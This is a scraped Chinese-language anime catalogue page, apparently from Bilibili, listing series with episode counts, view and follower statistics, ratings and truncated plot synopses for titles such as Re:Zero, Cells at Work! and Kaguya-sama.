简介:位于叶佩特斯半岛,以700年历史而自豪的大国——奥尔坦西亚王国。 +王国的丰穰土地受到周边国的觊觎,数次暴露在侵略的威胁之下,但侍奉王国的两大公国——奥利维亚公国和科美利亚公国化作王国的剑和盾,使得王国...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1.0 亿 + + + 追番人数 861.3 万 + + + 硬币数 243.5 万 + + + 弹幕总数 116.4 万 + + + 评分 9.9 + + +
+

简介:我一定会拯救你。 +在打倒了魔女教大罪司教「怠惰」担当——培提其乌斯·罗曼尼康帝之后,菜月昴和爱蜜莉雅又得以重新开始。 +克服了艰难的诀别,两人终于和解,然而这只是新一轮风波的序幕。 +超乎想象的绝境危机,...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 8019.3 万 + + + 追番人数 259.7 万 + + + 硬币数 25.1 万 + + + 弹幕总数 37.5 万 + + + 评分 7.8 + + +
+

简介:居住在远离都市的村落中的少年·罗伊德。梦想成为军人的他,说白了就是“村里最弱的男人”。这样的他居然以军人为目标,当然也遭到身边村民的强烈反对。然而罗伊德心意已决,出发前往王都。 +其实,包括他本人在内的...

+
+
+ + +
+
+
+
+ +
+ + + + 全11话0 + + + + + 番剧 日本 + + + + 总播放 125.0 万 + + + 追番人数 12.9 万 + + + 硬币数 3.7 万 + + + 弹幕总数 3.0 万 + + + 评分 - + + +
+

简介:“我要在這個異世界拿出真本事!” +34歲童貞且無職的家裡蹲男子,在父母的葬禮當天被趕出家門後,在路上被一輛卡車所撞死。意識清醒後,他發現自己居然作為一個剛出生的嬰兒轉生到了劍與魔法的異世界!像廢物一樣...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 7849.4 万 + + + 追番人数 306.0 万 + + + 硬币数 37.5 万 + + + 弹幕总数 69.7 万 + + + 评分 9.8 + + +
+

简介:每天拼命在体内搬运氧气的新人红血球。 +他的职场劳动环境,却是彻底的黑暗(BLACK)——!! +饮酒、吸烟、压力、睡眠不足…… +宛如不健康的黑心公司一般的世界里, +这些经历着过量劳动的细胞们又会如何思考...

+
+
+ + +
+
+
+
+ +
+ + + + 全8话0 + + + + + 番剧 日本 + + + + 总播放 7854.4 万 + + + 追番人数 837.2 万 + + + 硬币数 37.3 万 + + + 弹幕总数 59.2 万 + + + 评分 9.7 + + +
+

简介:这是关于你的故事。是在你体内的故事——。 + +人类的细胞数量,约为37兆个(新说)。 +细胞们在名为身体的世界中,今天也在精神满满无休无眠地工作。 +运输氧气的红血球、与细菌战斗的白血球…… +那里有关于细胞...

+
+
+ + +
+
+
+
+ +
+ + + + 全4话0 + + + + + 番剧 日本 + + + + 总播放 3606.9 万 + + + 追番人数 511.8 万 + + + 硬币数 15.9 万 + + + 弹幕总数 13.0 万 + + + 评分 9.8 + + +
+

简介:本作是在「JOJO的奇妙冒险 不灭钻石」中登场的漫画家・岸边露伴, +为了收集漫画的素材而前往各地后所遭遇的奇妙见闻集! +...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 5055.7 万 + + + 追番人数 162.7 万 + + + 硬币数 22.7 万 + + + 弹幕总数 42.7 万 + + + 评分 8.5 + + +
+

简介:悠闲地享受着家里蹲生活的美少女优奈,沉迷于VRMMORPG游戏『幻想世界ONLINE』。 +某一天和平常一般登录后,却似乎有什么地方不太一样。 +难道说……这里是游戏的里面?还是说是在异世界? +然后,降临...

+
+
+ + +
+
+
+
+ +
+ + + + 全1000话0 + + + + + 番剧 中国大陆 + + + + 总播放 653.1 万 + + + 追番人数 37.5 万 + + + 硬币数 3.9 万 + + + 弹幕总数 4.5 万 + + + 评分 8.8 + + +
+

简介:【bilibili试验性节目】番剧茶会 |歪,妖妖灵么,B站小编在装B,场面已经控制不住了!...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 国创 中国大陆 + + + + 总播放 1.3 亿 + + + 追番人数 322.0 万 + + + 硬币数 61.9 万 + + + 弹幕总数 43.0 万 + + + 评分 9 + + +
+

简介:穿越到修仙世界却发现自己不符合男主角设定的东方纤云,误把重生一次前来复仇的二师弟印飞星当做“主角”。本打算抱紧主角大腿活下去,却被“大腿”一脚踹下悬崖,由此踏上魔修反派道路。天真单纯的大乘期魔修易相逢...

+
+
+ + +
+
+
+
+ +
+ + + + 全15话0 + + + + + 番剧 日本 + + + + 总播放 258.0 万 + + + 追番人数 25.6 万 + + + 硬币数 9658 + + + 弹幕总数 4448 + + + 评分 9.5 + + +
+

简介:本作讲述年仅五岁便担任社长一职的六科在世间的激浪中不断前进的令人捧腹大笑的写实派(?)搞笑喜剧。...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 - + + + 追番人数 47.4 万 + + + 硬币数 - + + + 弹幕总数 - + + + 评分 - + + +
+

简介:女高中生·本城游理猛然惊醒时发现自己身处从未见过的楼顶。 +她迷失的世界,是有着无数用吊桥连接的高楼大厦的“异常空间”。 + +迷茫困惑的人们被神秘的“面具人”毫不留情地杀害。 +通往地上的阶梯被封锁,想要从...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 4629.1 万 + + + 追番人数 207.1 万 + + + 硬币数 33.6 万 + + + 弹幕总数 35.3 万 + + + 评分 9.4 + + +
+

简介:「我可以看透人的心哦!不过稍微有点不会看气氛!请多指教!」 + +位于孤岛的奇妙学园。出现在学生中岛七男面前的,是转学生柊娜娜。 +这里是拥有各种能力的少年少女齐聚一堂的设施。 +操纵火炎或冰的人。能在空中自...

+
+
+ + +
+
+
+
+ +
+ + + + 全26话0 + + + + + 国创 中国大陆 + + + + 总播放 7130.1 万 + + + 追番人数 196.3 万 + + + 硬币数 46.5 万 + + + 弹幕总数 28.0 万 + + + 评分 8.9 + + +
+

简介:《如果历史是一群喵》是一部以华夏历史为主线的非严谨萌系动画,作品以风趣幽默的语言对历史事件进行了重新解读,更容易为年轻人记忆和接受。在表达上,作品用现代动画的手法塑造了12只体态丰盈、造型可爱的猫咪,...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1741.1 万 + + + 追番人数 253.1 万 + + + 硬币数 25.3 万 + + + 弹幕总数 23.3 万 + + + 评分 9.9 + + +
+

简介:心爱在木造房屋小镇度过的第二个夏天即将结束,季节即将变成各种盛大活动满载的秋季。 +不论是在学校还是在Rabbit House,都有很多开心的事情! +心爱、智乃以及大家都难以抑制对未来的期待……!...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1449.4 万 + + + 追番人数 89.3 万 + + + 硬币数 7.4 万 + + + 弹幕总数 16.3 万 + + + 评分 8.8 + + +
+

简介:近未来的地球——人类因为一种被叫做HUGE的神秘生命体的出现而面临灭绝的危机。 +世界各国为对付HUGE而合作制作出决战兵器CHARM,使用这些武器、被称为Lily的少女们为保卫世界持续地战斗着。世界各...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 8303.6 万 + + + 追番人数 364.0 万 + + + 硬币数 49.8 万 + + + 弹幕总数 96.1 万 + + + 评分 9.8 + + +
+

简介:仰慕的母亲并非亲生母亲。一起生活的他们并非兄弟。 +Grace=Field House是没有父母的孩子们居住的地方。虽然没有血缘关系,但妈妈和38个兄弟都度过了幸福的每一天,这是不可替代的家。 +但是,他...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1.0 亿 + + + 追番人数 315.0 万 + + + 硬币数 47.9 万 + + + 弹幕总数 70.6 万 + + + 评分 6.2 + + +
+

简介:全·员·恶·人 +犯罪者们的犯罪动作剧开幕! +遥远的过去,关东和关西之间爆发战争,世界分裂了。 +关西成为关东的属国,并实现了独立的发展。 +但相对地,其政治与警力衰退,犯罪横行。 +这些犯罪者,被称作恶棍—...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 6388.6 万 + + + 追番人数 240.1 万 + + + 硬币数 23.3 万 + + + 弹幕总数 38.7 万 + + + 评分 8 + + +
+

简介:高度发展科学技术被称为机械驱动的理想乡的“帝国”,以及驱使超自然力量的以“魔女之国”威名受到世人畏惧的“涅比利斯皇厅”。在持续了百年以上战争的两国战场上,有着两位英雄。 +以史上最年轻之姿晋升为帝国最强...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 7766.3 万 + + + 追番人数 303.3 万 + + + 硬币数 49.1 万 + + + 弹幕总数 48.3 万 + + + 评分 9.7 + + +
+

简介:从前,在那人与魔共同生活的时代。 +魔王将人类公主掳走,幽禁在了自己的城堡里——。 +被囚禁的栖夜莉丝公主,在囚牢中如此低语:“除了睡觉……没有别的事情干。” +公主从囚牢中偷偷逃出来,为了获得更优质的睡眠...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 2634.5 万 + + + 追番人数 215.8 万 + + + 硬币数 19.4 万 + + + 弹幕总数 13.0 万 + + + 评分 9.8 + + +
+

简介:《One Room》的舞台,发生在“主角(One)的居室(Room)”当中。以第一视角和性格各异的女孩子们相处的故事!...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 4864.0 万 + + + 追番人数 160.0 万 + + + 硬币数 12.5 万 + + + 弹幕总数 33.7 万 + + + 评分 5.6 + + +
+

简介:在黑心企业担任系统工程师的39岁单身工薪族竹林龙马 +在公寓独自结束了孤独的一生。 +被召唤到天界的龙马, +被创造之神、爱之女神、生命之神要求协助,以小孩的姿态转生到异世界!? +在森林中开始悠闲生活的8岁...

+
+
+ + +
+
+
+
+ +
+ + + + 全2话0 + + + + + 番剧 日本 + + + + 总播放 2526.1 万 + + + 追番人数 452.9 万 + + + 硬币数 27.3 万 + + + 弹幕总数 13.6 万 + + + 评分 9.6 + + +
+

简介:被称作“第⼗领域”的邻界,是“准精灵”的少⼥们的战场。 +战场的某处,精灵・时崎狂三苏醒了过来 + “为什么会在这⾥,是怎么到这⾥来的……” + “最重要的是,这⾥是什么地⽅?” +尚在迷失中的狂三,⽿朵⾥却...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 3484.4 万 + + + 追番人数 262.3 万 + + + 硬币数 22.9 万 + + + 弹幕总数 24.6 万 + + + 评分 9.2 + + +
+

简介:这座城市住着众多的神,其中心存在着通往地心深处——深渊的“地下城”。城市的名字是迷宫都市欧拉丽。女神赫斯缇雅与冒险者贝尔·克朗尼,一如既往地是主神和仅仅一名眷族的最小构成。但达成了世界最快升级这一伟业...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 7194.8 万 + + + 追番人数 229.0 万 + + + 硬币数 16.7 万 + + + 弹幕总数 40.3 万 + + + 评分 8.3 + + +
+

简介:喜欢合理单独行动的初中3年级学生四谷友助,有一天被传送到了游戏中的异世界——。那里有已经被传送过去的同班同学新堂衣宇和箱崎红末,成为第三位玩家的他,拼上性命挑战任务。 +排除感情,对一切要素都一视同仁,...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 9901.8 万 + + + 追番人数 405.3 万 + + + 硬币数 106.1 万 + + + 弹幕总数 127.2 万 + + + 评分 9.7 + + +
+

简介:某个地方有一位旅人,她的名字是伊蕾娜。 +是一位年纪轻轻就成了魔法使中最上位「魔女」的天才。 +因为向往着幼时读过的旅行故事,随意地进行着漫长的旅行。 +在这个广阔的世界里自由地漫步,接触着形形色色有趣的人...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 274.4 万 + + + 追番人数 35.3 万 + + + 硬币数 6118 + + + 弹幕总数 6698 + + + 评分 9.3 + + +
+

简介:“内裤被看到的话,人类就会灭亡!?” +高中生伊里达游太以某起事件为契机而灵魂出窍了。在自己所居住的公寓古来馆醒来的游太,被突然现身的猫的幽灵千良之助告知“想要取回你的肉体的话,就去找到存在于古来馆某处...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 864.0 万 + + + 追番人数 74.8 万 + + + 硬币数 2.7 万 + + + 弹幕总数 9.2 万 + + + 评分 9.6 + + +
+

简介:明明是最差劲的相遇,但雏却不知何时开始无法停止心动。雏被初中时的学长·恋雪所吸引,决定和他进入同所高中而拼命学习。 +并且,和青梅竹马的虎太朗一同进入了樱丘高中。 +曾经单调乏味的恋雪,为了自己单相思的对...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 382.8 万 + + + 追番人数 169.3 万 + + + 硬币数 6.6 万 + + + 弹幕总数 6.6 万 + + + 评分 9.8 + + +
+

简介:【本字幕由LoveEcho!字幕组协力译制】学园偶像们以演出角逐的大赛“LoveLive!”的上届优胜者μ's,由于三年级的毕业而决定活动结束,然而在毕业典礼后,μ's众人突然收到了一条消息,并由此展...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 4218.9 万 + + + 追番人数 165.6 万 + + + 硬币数 19.8 万 + + + 弹幕总数 43.2 万 + + + 评分 4.2 + + +
+

简介:为了复仇,我又回到这座城市了! +8年前,被美少女安达垣爱姬残忍拒绝的肥胖少年真壁政宗,变得超瘦又更改了名字,变身成帅哥回来了。没错,一切都是为了让那个号称残虐公主的抖S女生迷上自己,完成最高形式的复仇...

+
+
+ + +
+
+
+
+ +
+ + + + 全29话0 + + + + + 番剧 日本 + + + + 总播放 4.6 亿 + + + 追番人数 762.7 万 + + + 硬币数 206.9 万 + + + 弹幕总数 504.6 万 + + + 评分 9.4 + + +
+

简介:史莱姆生活,开始了。 +上班族的三上悟在道路上被歹徒给刺杀身亡后,回过神来发现自己转生到了异世界。 +不过,自己居然是“史莱姆”! +他在得到利姆鲁这个名字后开始了自己的史莱姆人生,随着与各个种族相处交流的...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 6179.7 万 + + + 追番人数 265.1 万 + + + 硬币数 40.3 万 + + + 弹幕总数 148.2 万 + + + 评分 9.8 + + +
+

简介:存在于平凡无奇的普通学校“月杜中学”的普通美术部。那里有着虽有绘画才能却只为了描绘理想的“二次元新娘”而燃起使命的内卷昴同学,以及对无可救药的内卷同学感到在意的宇佐美瑞希同学。以及,对两人似乎关注又似...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 1.4 亿 + + + 追番人数 785.6 万 + + + 硬币数 133.0 万 + + + 弹幕总数 208.1 万 + + + 评分 9.7 + + +
+

简介:我一定会拯救你。 +在打倒了魔女教大罪司教「怠惰」担当——培提其乌斯·罗曼尼康帝之后,菜月昴和爱蜜莉雅又得以重新开始。 +克服了艰难的诀别,两人终于和解,然而这只是新一轮风波的序幕。 +超乎想象的绝境危机,...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 8231.9 万 + + + 追番人数 207.5 万 + + + 硬币数 24.4 万 + + + 弹幕总数 29.4 万 + + + 评分 8.9 + + +
+

简介:厌恶魔术的魔术讲师所展开的叛逆英雄幻想剧! +魔术与科学共同发展的世界——卢瓦佛斯。 +位于魔导大国·阿尔扎诺帝国南部的“阿尔扎诺帝国魔法学院”,是学习世界最先端魔术的最高学舍。 +拥有约四百年历史的...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 223.3 万 + + + 追番人数 74.4 万 + + + 硬币数 1.7 万 + + + 弹幕总数 3.5 万 + + + 评分 9.4 + + +
+

简介:歷經兩千年的時光,蘇醒了的暴虐魔王—— +但他在培育魔王候補的學院中的適性卻是——“不適任”!? +盡管具備能毀滅人類、精靈,甚至是眾神的力量,暴虐魔王“阿諾斯·波魯迪戈烏多”卻厭倦了永無止盡的鬥爭,夢想...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 744.4 万 + + + 追番人数 57.5 万 + + + 硬币数 4.7 万 + + + 弹幕总数 9.5 万 + + + 评分 9.6 + + +
+

简介:在这个世界上,“魔女”们进行着偶像活动——因为她们的魔力源泉,是来自人们的快乐情绪。主人公缇亚拉,是王国的第二公主,同时也是“魔女”养成机构——芙洛拉女子学院的一名学生。明明憧憬着成为一流的“魔女”,...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 41.8 万 + + + 追番人数 8.2 万 + + + 硬币数 2689 + + + 弹幕总数 1.6 万 + + + 评分 9.1 + + +
+

简介:地球因迷之侵略者·外星人規制蟲而面臨巨大的危機。規制蟲通過吸取人們的H能源來奪走人類生存所需的能量。 +為了從規制蟲手中拯救地球,高中生炎城烈人加入守護地球的戰隊「HXEROS」來保衛地球擊退規制蟲——...

+
+
+ + +
+
+
+
+ +
+ + + + 全25话0 + + + + + 番剧 日本 + + + + 总播放 2.3 亿 + + + 追番人数 649.8 万 + + + 硬币数 309.0 万 + + + 弹幕总数 280.4 万 + + + 评分 9.8 + + +
+

简介:有 230 万人口,其中八成人口为学生的「学园都市」,是比其他地区科技更为先进,并从事「超能力开发」的特殊地区。而整座学园都市中仅有七人的等级 5 超能力者之一御坂美琴,由于她的能力与个性使然,因而被...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 8436.0 万 + + + 追番人数 261.3 万 + + + 硬币数 45.9 万 + + + 弹幕总数 107.3 万 + + + 评分 9.4 + + +
+

简介:性格有些孤僻喜爱安静的大学3年级生,樱井真一。 +总是被小一届,同高中毕业的学妹宇崎花,以各种照顾爱耍孤僻的学长的名义为由,进行各种无厘头的纠缠。 +虽然一开始觉得有点困扰,但却逐渐习惯起来…...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1.0 亿 + + + 追番人数 578.0 万 + + + 硬币数 168.4 万 + + + 弹幕总数 155.6 万 + + + 评分 8.9 + + +
+

简介:因过去的心理阴影而以独特的别扭思考回路讴歌着“独自生活”的比企谷八幡,偶然地在负责生活指导的教师·平冢静的强迫下加入了“侍奉部”。 +八幡和同社团所属的令人窒息的完美美少女·雪之下雪乃,以及班级上位阶级...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 1667.7 万 + + + 追番人数 422.4 万 + + + 硬币数 50.2 万 + + + 弹幕总数 46.1 万 + + + 评分 9.8 + + +
+

简介:原作为丸户史明的轻小说《路人女主的养成方法》,本动画为该作TV动画的终章剧场版动画。高中生安艺伦也在樱花飞舞的坡道上与少女·加藤惠命运般地邂逅,并想着要制作以她为第一女主角的同人游戏。他邀请美术部所属...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1.0 亿 + + + 追番人数 612.5 万 + + + 硬币数 52.5 万 + + + 弹幕总数 166.3 万 + + + 评分 4.8 + + +
+

简介:桐人、尤吉欧、爱丽丝。 +距离两名修剑士和一名整合骑士打败了最高祭司阿多米尼斯多雷特已过去了半年。 +结束了战斗,爱丽丝在故乡卢利特村生活。 +在她的身旁,是失去了挚友,自己也失去了手臂和心的桐人。 +献身般...

+
+
+ + +
+
+
+
+ +
+ + + + 全8话0 + + + + + 国创 中国大陆 + + + + 总播放 4315.9 万 + + + 追番人数 180.9 万 + + + 硬币数 55.5 万 + + + 弹幕总数 36.4 万 + + + 评分 9.3 + + +
+

简介:女武神带着美食与心意归来,崩坏3《女武神的餐桌》动画第二季回归。 +等春天化作一杯冰甜的樱花酿,等樱桃酱在夏夜中熬成,等海鲜浓汤带来大海的秋风,等熔岩巧克力融化在冬日的心间。 +女武神们希望和你一起,让四...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 国创 中国大陆 + + + + 总播放 3027.1 万 + + + 追番人数 113.2 万 + + + 硬币数 9.2 万 + + + 弹幕总数 35.3 万 + + + 评分 3.8 + + +
+

简介:在普通的北方小城,23岁左右没有工作没有女朋友的普通人类郝仁,迫于生活压力出租老宅。在偶然接收了一个神经大条、行为奇怪的房客莉莉后,又遇到了同样奇怪的薇薇安,接着又鬼使神差的入职于管理宇宙秩序的希灵帝...

+
+
+ + +
+
+
+
+ +
+ + + + 全26话0 + + + + + 番剧 日本 + + + + 总播放 2.4 亿 + + + 追番人数 598.8 万 + + + 硬币数 66.0 万 + + + 弹幕总数 539.7 万 + + + 评分 9.8 + + +
+

简介:在古代墨西哥繁盛一时的太阳的子民阿兹特克,他们流传着一枚奇妙的「石鬼面」。 +那是一枚奇迹的面具,能让人拥有一种力量,能获得永远的生命并成为真正的掌控者。然而从某个时候开始,就从历史中消失了踪影。 +时光...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 国创 中国大陆 + + + + 总播放 408.0 万 + + + 追番人数 105.9 万 + + + 硬币数 6.5 万 + + + 弹幕总数 2.8 万 + + + 评分 9.8 + + +
+

简介:普通待业青年郝仁在找工作时,阴差阳错成为了希灵帝国女神渡鸦12345的审查官,负责处理地球中各种异类事件,本以为自己的任务就是打打酱油,照顾好异类租客,偶尔出去维护下世界和平。没想到这一次……搞大了!...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 908.3 万 + + + 追番人数 58.2 万 + + + 硬币数 2.9 万 + + + 弹幕总数 14.5 万 + + + 评分 9.7 + + +
+

简介:名侦探柯南电视动画和剧场版20周年纪念的最后一项,2小时电视动画特别篇,将于2016年冬播出。 +重新演绎“云霄飞车杀人事件”,增加原作漫画中没有的新内容,并由原作者青山刚昌全面监修。故事将从工藤新一...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 845.4 万 + + + 追番人数 54.5 万 + + + 硬币数 2.2 万 + + + 弹幕总数 7.4 万 + + + 评分 9.6 + + +
+

简介:江户川柯南和毛利兰、灰原哀一起来到了公共浴池。在男浴池的更衣室柯南目击到2名可疑的男子,随后,在浴场摔倒失去了意识。于是令柯南感到可疑的男子阿辰和近藤借口将柯南送到医院把他用车带走了。柯南注意到,二人...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 9646.5 万 + + + 追番人数 321.7 万 + + + 硬币数 57.8 万 + + + 弹幕总数 182.8 万 + + + 评分 9.5 + + +
+

简介:平静的风吹过美丽的大地——阿斯特莱亚大陆。在大陆的某个角落,失去记忆的少年佑树醒了过来。照顾他的小小指引者可可萝。总是饿肚子的美少女剑士佩可莉姆。有一点冷酷的猫耳魔法少女凯露。在命运的指引下,他们创立...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 2.3 亿 + + + 追番人数 781.9 万 + + + 硬币数 224.9 万 + + + 弹幕总数 383.3 万 + + + 评分 9.8 + + +
+

简介:秀才所聚集的名校·秀知院学园,在那里的学生会相遇的副会长·四宫辉夜与会长·白银御行,是任何人都认为适合对方的两个天才,原以为他们马上就能交往了,但他们因为自尊心超强一直没能告白!!在“如何让对方告白”...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1.1 亿 + + + 追番人数 360.4 万 + + + 硬币数 57.7 万 + + + 弹幕总数 176.0 万 + + + 评分 9.6 + + +
+

简介:公爵千金卡塔莉娜·克拉艾斯在脑袋撞到石头上时取回了前世的记忆 ,发现这里是前世所迷恋的乙女游戏“FORTUNE LOVER”的世界,自己成为了妨碍游戏主人公恋情的邪恶大小姐! +在游戏里,克拉艾斯被准...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 6085.5 万 + + + 追番人数 205.7 万 + + + 硬币数 22.9 万 + + + 弹幕总数 44.4 万 + + + 评分 8.9 + + +
+

简介:学习方面还行,也有朋友。虽然的确是有一点被上天所眷顾着,但还是个普通男子高中生的加贺谷修一,有着可以变身为怪物的这一秘密。并不是那种被世间所惧怕的怪物……而是布偶怪物。他曾经所爱的平稳日常,某一天突然...

+
+
+ + +
+
+
+
+ +
+ + + + 全6话0 + + + + + 番剧 日本 + + + + 总播放 2701.5 万 + + + 追番人数 225.4 万 + + + 硬币数 15.5 万 + + + 弹幕总数 32.6 万 + + + 评分 9.6 + + +
+

简介:TV动画以《无论何时我们的恋情都是10厘米。》为题,于2017年11月25日开始播出,全6话。主角是芹泽春辉和合田美樱。...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 7626.6 万 + + + 追番人数 335.4 万 + + + 硬币数 44.6 万 + + + 弹幕总数 111.6 万 + + + 评分 9.8 + + +
+

简介:被浪费的青春—— +偏差值差不多的田中(通称“笨蛋”)、沉迷于BL的菊池(通称:“御宅”)、面无表情的才女・鹭宫(通称“机器人”)。个性十足的女高中生们无所事事的日常校园生活——...

+
+
+ + +
+
+
+
+
+ 星掠者 +
+
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 1.4 亿 + + + 追番人数 271.5 万 + + + 硬币数 24.2 万 + + + 弹幕总数 110.5 万 + + + 评分 5.4 + + +
+

简介:被称为“废弃战争”之后的未曾有过的大战之后的世界艾尔西亚。在那里,强者从弱者手里夺取证实自己存在的“数字计数”,是一个弱肉强食的世界。 +在那样的世界里,2人相遇了。一个是用面具隐藏身份、为了弱者而挥动...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 833.2 万 + + + 追番人数 45.4 万 + + + 硬币数 2.1 万 + + + 弹幕总数 7.5 万 + + + 评分 4.8 + + +
+

简介:很久很久以前的时代,天空中白色王国,与地上的黑色王国,保持着“均衡”并同时“循环”着。 +有一天,在黑色王国因被怪物袭击而毁灭的村子里,一位少年正在挖坟墓。在那个少年面前出现了上一代黑暗之王候选人史基亚...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 5790.9 万 + + + 追番人数 138.5 万 + + + 硬币数 12.6 万 + + + 弹幕总数 78.4 万 + + + 评分 5.5 + + +
+

简介:某一天,二十五岁上班族一觉醒来,成为了异世界少年·威德林。对出生于贫穷贵族的第八个儿子所绝望,靠着魔法的才能而独立,最后作为贵族发迹的威德林,不断被卷入错综复杂的贵族社会中,“不管怎么样出人头地,我内...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 745.2 万 + + + 追番人数 52.7 万 + + + 硬币数 5.8 万 + + + 弹幕总数 10.6 万 + + + 评分 9.6 + + +
+

简介:梅茵终于要正式成为神殿的见习巫女。在进入神殿之前,她忙着向班诺报告各种事情,举办试吃会等。进入神殿的那天,斐迪南为梅茵举办宣誓仪式,她正式成为了蓝衣巫女。并且被命到她身边伺候的人是…...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 9636.2 万 + + + 追番人数 564.2 万 + + + 硬币数 108.5 万 + + + 弹幕总数 106.1 万 + + + 评分 9.8 + + +
+

简介:富㭴勇太于初中毕业的时候,决定同时为自己举办中二病毕业的仪式。打算顺利度过高中生活的他,在开学日以最后的中二语录完全封锁这段黑历史。可惜天意弄人,勇太遇上了现任中二病患者暨同班同学小鸟游六花,更被对方...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 5522.6 万 + + + 追番人数 310.4 万 + + + 硬币数 99.1 万 + + + 弹幕总数 90.3 万 + + + 评分 9.7 + + +
+

简介:由于各种原因导致失去住所的六花开始寻找新家,但过程并不顺利,最终来到了勇太的家里。 +然而,勇太的家人却留下勇太一个人到雅加达去了。 +现在开始的同栖生活!?这样想着心跳不已的两个人。 +但此时樟叶为了迎考...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 1.6 亿 + + + 追番人数 465.3 万 + + + 硬币数 60.7 万 + + + 弹幕总数 319.2 万 + + + 评分 9.4 + + +
+

简介:春假,为了赚得购入动画 BD 而打工的宅男·安艺伦也在樱花飞舞的道路上遇到了某个少女,对该少女感兴趣的伦也以她为模特制作了相关的同人游戏。一个月後,该少女成为了他的同班同学……为了制作游戏,伦也陆续找...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 803.8 万 + + + 追番人数 46.0 万 + + + 硬币数 1.6 万 + + + 弹幕总数 7.3 万 + + + 评分 6.3 + + +
+

简介:为了成为带给人们梦想的魔术师,不知火真为了拜双亲认识的世界级魔术师星里卫为师学习魔术,造访了星里家。在星里家,他与有童年的玩伴星里果菜再次相遇,果菜被他称为“幻幻”。 +虽然美女怪盗事件的传闻在世间引起...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 2.9 亿 + + + 追番人数 805.2 万 + + + 硬币数 191.5 万 + + + 弹幕总数 488.4 万 + + + 评分 9.8 + + +
+

简介:家庭背景与人品都很棒!!一大群有前途的秀才所聚集的秀知院学园!!在那里的学生会相遇的副会长·四宫辉夜与会长·白银御行原本应该是彼此受到了对方吸引…但想不到都过半年了却仍然什么事情也没发生!!最麻烦的是...

+
+
+ + +
+
+
+
+ +
